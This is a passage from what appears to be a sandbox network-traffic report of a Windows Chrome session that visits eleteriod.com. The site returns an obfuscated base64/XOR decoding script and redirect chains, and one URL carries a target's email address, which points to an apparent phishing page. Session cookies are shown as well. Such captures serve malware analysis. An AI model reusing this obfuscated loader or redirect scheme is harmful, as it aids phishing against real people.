XSRF-TOKEN=eyJpdiI6ImttalYvUFRTRkZBMlhpY202VG04RXc9PSIsInZhbHVlIjoiczQ4RVpsZ0JGL2wvcTRDd2ZyYzhicDJtT0M1STAvN2JwVXE4U1hURlk5WDRIR3B0L0ZlU2RHMS9ZOHN0eUtYQWZZVkhES1dwMDVOdFN3UjlYdWZUK0FidjFoZVhjYUZaRDQyN1NFeVdnSWt6VStPek9kSFFvK0lpZHc1Vyt2YzQiLCJtYWMiOiI2YzNkMTQ4ZWE0MmU3NjlmOGUwZjRiOTA0NDA2N2E4ODlkOWU5NTZjMjhlMGM2NjYxNDE2NTQ0ZDhhZDJmMDA3IiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:02:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:02:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 42 5a 51 54 46 35 61 48 64 34 51 6d 63 32 52 56 4a 76 61 30 74 48 59 6b 74 5a 59 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 31 68 61 4b 7a 52 36 51 6a 49 76 64 6b 46 30 62 47 63 79 65 53 74 6c 4e 57 31 44 55 47 56 69 63 6d 39 6d 57 56 4a 35 55 57 49 35 5a 6d 74 54 65 6d 46 49 51 6d 64 6c 57 6e 56 33 63 32 4a 57 63 30 68 70 4f 44 6c 5a 56 6e 4d 32 52 6a 56 6c 4e 47 31 57 52 47 4d 32 64 6b 64 42 4f 48 5a 4c 65 6b 56 79 61 32 78 57 63 6c 4a 6b 64 47 68 6e 64 33 4e 71 55 6a 4a 31 53 58 6c 4b 56 54 4a 46 57 6e 56 53 57 6e 56 51 62 7a 4e 6e 55 6d 4a 55 52 48 64 44 54 6b 74 71 51 32 38 33 59 57 68 31 56 32 5a 52 59 57 46 51 62 56 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjBZQTF5aHd4Qmc2RVJva0tHYktZY2c9PSIsInZhbHVlIjoia1haKzR6QjIvdkF0bGcyeStlNW1DUGVicm9mWVJ5UWI5ZmtTemFIQmdlWnV3c2JWc0hpODlZVnM2RjVlNG1WRGM2dkdBOHZLekVya2xWclJkdGhnd3NqUjJ1SXlKVTJFWnVSWnVQbzNnUmJURHdDTktqQ283YWh1V2ZRYWFQbVU
2024-05-22 18:02:00 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2024-05-22 18:02:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	59879	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:59 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:59 UTC	375	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:01:59 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: kT3T1djzdOP0dQxROqgjmQ==$xMNjfwv62KNOiKqynHhkfQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 887eb6f13b4f8c8d-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:59 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	59881	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:01 UTC	1489	OUT	GET /k3hof49809/ HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://l6agz47874.eleteriod.com/k3hof49809/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImttalYvUFRTRkZBMlhpY202VG04RXc9PSIsInZhbHVlIjoiczQ4RVpsZ0JGL2wvcTRDd2ZyYzhicDJtT0M1STAvN2JwVXE4U1hURlk5WDRIR3B0L0ZlU2RHMS9ZOHN0eUtYQWZZVkhES1dwMDVOdFN3UjlYdWZUK0FidjFoZVhjYUZaRDQyN1NFeVdnSWt6VStPek9kSFFvK0lpZHc1Vyt2YzQiLCJtYWMiOiI2YzNkMTQ4ZWE0MmU3NjlmOGUwZjRiOTA0NDA2N2E4ODlkOWU5NTZjMjhlMGM2NjYxNDE2NTQ0ZDhhZDJmMDA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBZQTF5aHd4Qmc2RVJva0tHYktZY2c9PSIsInZhbHVlIjoia1haKzR6QjIvdkF0bGcyeStlNW1DUGVicm9mWVJ5UWI5ZmtTemFIQmdlWnV3c2JWc0hpODlZVnM2RjVlNG1WRGM2dkdBOHZLekVya2xWclJkdGhnd3NqUjJ1SXlKVTJFWnVSWnVQbzNnUmJURHdDTktqQ283YWh1V2ZRYWFQbVUiLCJtYWMiOiIzMDdkNGJmNDljMmNmYTNlN2U3ZmM0M2M3ZjlhMGU3Njg2ZThmZmMwZjkzMTc1YjNhMTVhNDhhNTA3YWU3MGEyIiwidGFnIjoiIn0%3D
2024-05-22 18:02:02 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=guEyhqd9tgXUQISbGT2oa4E%2FPqKsOQjT8RrlvCl%2FIFHdoZG%2FW7xOuKxaM4ZBb%2BedLMpcutxt9Xkuajadtj8iSXP3GlmIjS7eTrvM3fnRLCg%2BN3LMOYw1lxd4REO3zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilk0WkoyMGhGcDNKTXhXd0NtTDJqQmc9PSIsInZhbHVlIjoia2dlZ2pObDBTbFpMOUNxbUJreGFVNmFsc0NqdjI3bS8wWXR6eW9DSUVGZkt4MDJjbitVY05jRWloaE5vS3U3c3RvdU5iMUZLa1ROQlkzU01tSDI2N0QyYjdWSXVBU2hGYlhtamlWd2VlRlBFYlZmVE1PNkd3RXJEdzVmMG1hY3EiLCJtYWMiOiJjMzBkMDYwYTVmMWEwNGZkYTc3ZmRhYjhjYmE1YTNiZDk0ZThkYzk4YmQ4YTM2ZTE5ZTliOTIzMzE0YTg1NDIwIiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:02:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:02:02 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 70 6d 57 6d 64 54 4f 57 46 61 53 6b 78 78 54 6a 5a 46 51 6c 56 35 4d 33 6c 78 65 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 43 39 4b 52 6d 68 32 4e 48 41 76 5a 30 78 6d 55 47 74 50 55 54 42 43 53 45 63 35 61 32 35 50 53 6e 5a 6c 61 6c 6c 6f 61 46 64 6b 54 7a 68 53 4e 55 39 4f 55 79 39 7a 53 30 64 79 63 56 4a 46 62 6e 55 32 61 45 38 34 4c 30 39 6e 54 57 78 47 57 58 4a 48 56 6c 4a 33 62 33 46 6f 52 46 6b 30 53 31 51 32 57 6b 4a 33 53 57 73 32 51 55 63 35 64 6b 52 56 52 6b 35 58 51 6d 74 31 61 58 5a 35 59 58 46 53 65 57 46 6e 53 33 70 32 63 45 4d 34 51 58 63 33 65 6c 5a 6e 62 54 5a 75 65 48 5a 4d 64 79 74 4b 54 47 5a 33 52 55 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InpmWmdTOWFaSkxxTjZFQlV5M3lxeWc9PSIsInZhbHVlIjoiNC9KRmh2NHAvZ0xmUGtPUTBCSEc5a25PSnZlalloaFdkTzhSNU9OUy9zS0dycVJFbnU2aE84L09nTWxGWXJHVlJ3b3FoRFk0S1Q2WkJ3SWs2QUc5dkRVRk5XQmt1aXZ5YXFSeWFnS3p2cEM4QXc3elZnbTZueHZMdytKTGZ3RUY
2024-05-22 18:02:02 UTC	1211	IN	Data Raw: 37 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 66 53 4b 53 4f 67 45 49 52 6c 28 41 4b 48 57 79 43 51 72 47 59 2c 20 47 47 41 51 54 64 53 6f 55 5a 29 20 7b 0d 0a 6c 65 74 20 72 75 48 6e 6c 5a 4d 65 44 6e 20 3d 20 27 27 3b 0d 0a 41 4b 48 57 79 43 51 72 47 59 20 3d 20 61 74 6f 62 28 41 4b 48 57 79 43 51 72 47 59 29 3b 0d 0a 6c 65 74 20 4b 6f 61 45 61 4a 63 67 6a 79 20 3d 20 47 47 41 51 54 64 53 6f 55 5a 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 41 4b 48 57 79 43 51 72 47 59 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 72 75 48 6e 6c 5a 4d 65 44 6e 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 41 4b 48 57 79 43 51 72 47 59 2e 63 68 61 72 43 6f Data Ascii: 714<script>function fSKSOgEIRl(AKHWyCQrGY, GGAQTdSoUZ) {let ruHnlZMeDn = '';AKHWyCQrGY = atob(AKHWyCQrGY);let KoaEaJcgjy = GGAQTdSoUZ.length;for (let i = 0; i < AKHWyCQrGY.length; i++) { ruHnlZMeDn += String.fromCharCode(AKHWyCQrGY.charCo
2024-05-22 18:02:02 UTC	608	IN	Data Raw: 45 33 43 6a 30 2b 4e 67 73 59 4d 53 4d 72 4d 6b 74 30 64 79 34 4d 57 44 30 2b 4f 58 6f 48 4a 6a 51 34 45 56 38 32 50 32 41 6b 43 6a 30 2f 4e 77 52 62 50 48 46 6c 64 45 6c 32 64 58 6c 4f 46 6e 73 66 62 48 52 41 61 58 55 41 52 78 5a 79 63 53 55 5a 48 51 67 47 46 44 64 52 44 41 6c 31 57 57 46 70 64 33 6c 46 53 31 52 62 4d 33 51 4f 4a 53 51 38 52 55 31 55 57 32 35 30 53 32 6b 68 4f 42 63 57 4d 68 77 34 46 54 6f 45 42 54 34 77 62 6e 6c 73 62 6e 77 6e 4f 41 55 68 49 33 34 66 50 52 30 2b 52 53 51 32 4c 51 5a 65 63 58 35 6d 44 7a 63 2b 65 58 51 34 48 52 6b 4b 4c 33 6b 52 43 48 6f 44 56 52 74 67 66 32 4d 4a 51 42 56 35 41 67 51 62 49 78 42 6a 44 6c 74 6b 62 67 51 65 42 48 55 73 5a 33 74 43 61 53 73 6c 52 57 30 33 4a 43 49 34 4e 6d 41 4d 61 54 67 4e 56 46 74 75 64 Data Ascii: E3Cj0+NgsYMSMrMkt0dy4MWD0+OXoHJjQ4EV82P2AkCj0/NwRbPHFldEl2dXlOFnsfbHRAaXUARxZycSUZHQgGFDdRDAl1WWFpd3lFS1RbM3QOJSQ8RU1UW250S2khOBcWMhw4FToEBT4wbnlsbnwnOAUhI34fPR0+RSQ2LQZecX5mDzc+eXQ4HRkKL3kRCHoDVRtgf2MJQBV5AgQbIxBjDltkbgQeBHUsZ3tCaSslRW03JCI4NmAMaTgNVFtud
2024-05-22 18:02:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	59883	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:01 UTC	1109	OUT	GET /nmZPXExYNWLex4mM7631aNGhsiAsiJXNjNRAer HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImttalYvUFRTRkZBMlhpY202VG04RXc9PSIsInZhbHVlIjoiczQ4RVpsZ0JGL2wvcTRDd2ZyYzhicDJtT0M1STAvN2JwVXE4U1hURlk5WDRIR3B0L0ZlU2RHMS9ZOHN0eUtYQWZZVkhES1dwMDVOdFN3UjlYdWZUK0FidjFoZVhjYUZaRDQyN1NFeVdnSWt6VStPek9kSFFvK0lpZHc1Vyt2YzQiLCJtYWMiOiI2YzNkMTQ4ZWE0MmU3NjlmOGUwZjRiOTA0NDA2N2E4ODlkOWU5NTZjMjhlMGM2NjYxNDE2NTQ0ZDhhZDJmMDA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjBZQTF5aHd4Qmc2RVJva0tHYktZY2c9PSIsInZhbHVlIjoia1haKzR6QjIvdkF0bGcyeStlNW1DUGVicm9mWVJ5UWI5ZmtTemFIQmdlWnV3c2JWc0hpODlZVnM2RjVlNG1WRGM2dkdBOHZLekVya2xWclJkdGhnd3NqUjJ1SXlKVTJFWnVSWnVQbzNnUmJURHdDTktqQ283YWh1V2ZRYWFQbVUiLCJtYWMiOiIzMDdkNGJmNDljMmNmYTNlN2U3ZmM0M2M3ZjlhMGU3Njg2ZThmZmMwZjkzMTc1YjNhMTVhNDhhNTA3YWU3MGEyIiwidGFnIjoiIn0%3D
2024-05-22 18:02:02 UTC	573	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:02:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OQvzM6oCr283x2CCG8k6QASNgqXPqG4IGodvOOdZJ6VagY3SgjGTcAShCT4aVGUVFLZaA25gpHKVTLGP6IMuRGU2OB91YvnBe8ymkHHMygPo9UeVxy1g5JvQ5Wwsmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb6fe0c7f17e1-EWR
2024-05-22 18:02:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	59882	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:02 UTC	1472	OUT	GET /k3hof49809/?NYtodd.france@airbornemx.com HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://l6agz47874.eleteriod.com/k3hof49809/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilk0WkoyMGhGcDNKTXhXd0NtTDJqQmc9PSIsInZhbHVlIjoia2dlZ2pObDBTbFpMOUNxbUJreGFVNmFsc0NqdjI3bS8wWXR6eW9DSUVGZkt4MDJjbitVY05jRWloaE5vS3U3c3RvdU5iMUZLa1ROQlkzU01tSDI2N0QyYjdWSXVBU2hGYlhtamlWd2VlRlBFYlZmVE1PNkd3RXJEdzVmMG1hY3EiLCJtYWMiOiJjMzBkMDYwYTVmMWEwNGZkYTc3ZmRhYjhjYmE1YTNiZDk0ZThkYzk4YmQ4YTM2ZTE5ZTliOTIzMzE0YTg1NDIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpmWmdTOWFaSkxxTjZFQlV5M3lxeWc9PSIsInZhbHVlIjoiNC9KRmh2NHAvZ0xmUGtPUTBCSEc5a25PSnZlalloaFdkTzhSNU9OUy9zS0dycVJFbnU2aE84L09nTWxGWXJHVlJ3b3FoRFk0S1Q2WkJ3SWs2QUc5dkRVRk5XQmt1aXZ5YXFSeWFnS3p2cEM4QXc3elZnbTZueHZMdytKTGZ3RUYiLCJtYWMiOiI1NWNhYjNhZTc2MjY3NmJmZGFmMGRmOWY4YzBhNjkxNWNiN2VkY2JiZDNmZjIyMjhlMDA0ZjA4MzkwNjdkMWI2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:04 UTC	1140	IN	HTTP/1.1 302 Found Date: Wed, 22 May 2024 18:02:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Location: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KGZVuxSaWsSymDRlD%2FiufWxVtGL3eesM2N1mJNxJyIKgZ6PeqKqv%2Bh7k%2BLuUWVVPZ8EEOF6O4qf6YOSmi5wxSuGWcHQ%2BrDGP2tkszhM%2B2gcGCzYMVhqQoBVYWdZAgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdPK1EvN3Fjc1FsaVQ1ZjFjYWVDdlE9PSIsInZhbHVlIjoiejBGZC8rbktjV1pWTkhteVlCbGNVQVl0eTBUbHE3eW5EWEN1L2ZETkRTdmRVNDlaTEVWQ3RHOHM4UjdNc1lWc2s3QUYyN3h0TDI1dlZQVVBNcHVaZEhWRmdvWnExTFVOblhIMCtoWmRtSXM1RG5tazdHSlhHbkczV0svSzhzYnEiLCJtYWMiOiI3NmU2MmJiZmViZmZiOWRlMGZmNWVmNmU5N2Q5NTcwZWFiNjM0MTA4MjU0ODBlMWMxMWQyOWI3OTBjYzQ5ZjEwIiwidGFnIjoiIn0%3D; expires=Wed, 22-May-2024 20:02:03 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-22 18:02:04 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 6b 32 65 6d 5a 4f 4d 7a 5a 52 64 47 6c 51 63 6d 38 30 65 58 52 49 4f 44 6c 76 4b 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 6c 5a 61 64 69 39 46 52 54 5a 36 62 6b 67 34 51 6c 56 71 63 55 63 72 54 45 4e 52 59 6e 64 76 4e 6c 4e 56 54 6d 55 32 64 45 5a 6a 5a 31 70 72 55 33 64 57 54 30 70 68 63 6c 56 4e 56 48 5a 73 4b 7a 4a 68 5a 30 52 6a 56 31 70 5a 4d 79 39 72 4e 53 73 76 64 58 67 32 57 57 39 53 54 6d 46 51 54 6e 49 31 51 57 51 77 61 33 51 35 54 55 4a 50 65 6e 45 7a 61 53 38 72 51 57 6c 77 5a 6e 51 78 5a 46 56 4b 4e 54 6c 6d 53 33 6b 33 52 57 64 68 54 43 39 31 56 31 42 43 4d 6b 30 79 57 48 4e 6f 56 48 6b 33 4e 31 5a 72 56 58 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijk2emZOMzZRdGlQcm80eXRIODlvK1E9PSIsInZhbHVlIjoiQlZadi9FRTZ6bkg4QlVqcUcrTENRYndvNlNVTmU2dEZjZ1prU3dWT0phclVNVHZsKzJhZ0RjV1pZMy9rNSsvdXg2WW9STmFQTnI1QWQwa3Q5TUJPenEzaS8rQWlwZnQxZFVKNTlmS3k3RWdhTC91V1BCMk0yWHNoVHk3N1ZrVXk
2024-05-22 18:02:04 UTC	717	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 6c 36 61 67 7a 34 37 38 37 34 2e 65 6c 65 74 65 72 69 6f 64 2e 63 6f 6d 2f 47 49 55 56 42 45 4e 4f 45 4c 45 4c 46 5a 48 56 4a 47 52 4a 41 52 41 45 63 75 6b 6c 77 65 65 71 66 74 75 67 67 6e 72 62 66 65 66 3f 61 76 64 70 79 66 6e 73 61 69 68 65 76 6c 79 6c 6c 6b 6c 67 62 67 70 70 77 7a 67 76 69 6a 73 79 75 61 72 74 70 71 75 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c Data Ascii: 2c6<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu'" /> <
2024-05-22 18:02:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	59885	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RxOb4T5Cgy5kgHP&MD=9AUd9Nh3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-22 18:02:03 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_1440" MS-CorrelationId: 28db6546-cdc0-4a62-b432-d60fab345233 MS-RequestId: 6d440e27-7817-4c6d-b1f3-866d7661ed68 MS-CV: 8eHyDvoUZ0ekQQqa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 22 May 2024 18:02:03 GMT Connection: close Content-Length: 25457
2024-05-22 18:02:03 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-22 18:02:03 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	59884	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:04 UTC	1515	OUT	GET /GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://l6agz47874.eleteriod.com/k3hof49809/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 